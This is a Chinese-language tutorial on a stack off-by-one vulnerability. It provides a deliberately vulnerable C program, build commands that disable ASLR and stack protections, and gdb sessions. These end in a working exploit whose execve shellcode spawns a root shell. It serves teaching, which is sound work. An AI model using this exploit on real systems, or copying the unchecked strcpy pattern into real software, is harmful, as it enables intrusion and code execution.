什么是off by one?
将源字符串复制到目标缓冲区可能会导致off by one
- 源字符串长度等于目标缓冲区长度。
当源字符串长度等于目标缓冲区长度时,单个NULL字节将被复制到目标缓冲区上方。这里由于目标缓冲区位于堆栈中,所以单个NULL字节可以覆盖存储在堆栈中的调用者的EBP的最低有效位(LSB),这可能导致任意的代码执行。
漏洞代码:
//vuln.c
#include <stdio.h>
#include <string.h>
void foo(char* arg);
void bar(char* arg);
void foo(char* arg) {
bar(arg); /* [1] */
}
void bar(char* arg) {
char buf[256];
strcpy(buf, arg); /* [2] */ //当长度等于256,就会off by one,将\0a溢出到ebp中
}
int main(int argc, char *argv[]) {
if(strlen(argv[1])>256) { /* [3] */ // 长度大于256会结束
printf("Attempted Buffer Overflow\n");
fflush(stdout);
return -1;
}
foo(argv[1]); /* [4] */
return 0;
}
编译:
echo 0 > /proc/sys/kernel/randomize_va_space
gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln vuln.c -m32 -g #注意加上-m32 ,64位的mpreferred-stack-boundary是4到12之间
chmod 777 vuln
上述漏洞代码注释的第[2]部分是可能发生off by one溢出的地方。目标缓冲区长度为256,因此长度为256字节的源字符串可能导致任意代码执行。
如何执行任意代码执行?
使用称为“EBP覆盖”的技术实现任意代码执行。如果调用者的EBP位于目标缓冲区之上,则在strcpy之后,单个NULL字节将覆盖调用者EBP的LSB。
堆栈布局(这个图是低地址在下,高地址在上!!注意)
当我们已经知道256字节的用户输入,用空字节可以覆盖foo的EBP的最低一个字节(LSB)。所以当foo的存储在目标缓冲区“buf”之上的EBP被一个NULL字节所覆盖时,ebp从0xbffff2d8变为0xbffff200。从堆栈布局我们可以看到堆栈位置0xbffff200是目标缓冲区“buf”的一部分,由于用户输入被复制到该目标缓冲区,攻击者可以控制这个堆栈位置(0xbffff200),因此他控制指令指针(eip )使用他可以实现任意代码执行。让我们通过发送一系列256的“A”来测试它。
测试步骤1:EBP是否覆盖,从而可能覆盖返回地址?
gdb vuln
gdb-peda$ r `python -c 'print "A"*256'`
gdb-peda$ p/x $eip
结果
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.17-292.el7.i686
gdb-peda$ p/x $eip
$1 = 0x41414141
测试步骤2:距离目标缓冲区的偏移是多少?
r `python -c 'print "A"*212 + "C"*4+ "A"*40'`
最终exp
查看buf变量地址
gdb-peda$ p &buf
$3 = (char (*)[256]) 0xffffd430
最终exp
gdb vuln
gdb-peda$ r `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"A"*187 + "\x30\xd4\xff\xff"+ "A"*40'`
结果
gdb-peda$ r `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"A"*187 + "\x30\xd4\xff\xff"+ "A"*40'`
Starting program: /root/sploitfun/vuln `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"A"*187 + "\x30\xd4\xff\xff"+ "A"*40'`
process 16943 is executing new program: /usr/bin/bash
Missing separate debuginfos, use: debuginfo-install glibc-2.17-292.el7.i686
sh-4.2#